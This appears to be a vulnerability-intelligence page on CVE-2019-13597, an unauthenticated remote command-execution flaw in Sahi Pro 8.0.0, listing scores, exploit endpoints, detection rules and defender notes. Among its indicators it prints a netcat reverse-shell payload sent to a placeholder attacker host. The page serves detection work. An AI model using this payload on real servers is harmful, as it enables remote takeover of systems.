CVE-2019-13597: _s_/sprm/_s_/dyn/Player_setScriptFile in Sahi Pro 8.0.0 allows command execution. It allows one to run ".sah" scripts via Sahi Launcher. Also, one can create a…

PriorityP271critical9.8CVSS 3.0

AVNACLPRNUINSUCHIHAH

EXPLOIT

EPSS

14.35%

96.2th percentile

_s_/sprm/_s_/dyn/Player_setScriptFile in Sahi Pro 8.0.0 allows command execution. It allows one to run ".sah" scripts via Sahi Launcher. Also, one can create a new script with an editor. It is possible to execute commands on the server using the _execute() function.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
sahipro	sahi_pro	—	—

Detection & IOCsextracted from sources · hover to see the quote

urlhttp://<rhost>:<rport>/_s_/sprm/_s_/dyn/Player_setScriptFile↗

urlhttp://<rhost>:<rport>/_s_/dyn/pro/EditorUI_saveScript↗

path/_s_/sprm/_s_/dyn/Player_setScriptFile↗

path/_s_/dyn/pro/EditorUI_saveScript↗

command_execute('nc <lhost> <lport> -e /bin/bash')↗

path/root/sahi_pro/userdata/scripts/↗

→Detect unauthenticated HTTP POST requests to the Player_setScriptFile endpoint, which is used to trigger execution of attacker-created .sah scripts. ↗
→Detect unauthenticated HTTP GET requests to the EditorUI_saveScript endpoint, which is used to write arbitrary .sah script files to the server. ↗
→Detect URL-encoded _execute() function calls in HTTP request bodies or query strings targeting Sahi Pro endpoints, indicative of RCE payload delivery. ↗
→Monitor for creation of random 7-character alphanumeric .sah script files in the Sahi userdata/scripts directory, which is the exploit's staging location. ↗
→Alert on POST body parameters containing 'dir=%2Froot%2Fsahi_pro%2Fuserdata%2Fscripts%2F' combined with a 'file=' parameter, as used in the exploit's script execution step. ↗

·The exploit targets Sahi Pro running on its default port (9999 in the example). Deployments on non-default ports will require adjusted detection rules. ↗
·The vulnerability is unauthenticated — no session token or credentials are required to reach the vulnerable endpoints, meaning perimeter authentication controls alone are insufficient. ↗
·The exploit uses netcat as the RCE payload for PoC purposes, but the _execute() function can run arbitrary OS commands, so defenders should not limit detection solely to netcat-based payloads. ↗

CVSS provenance

nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.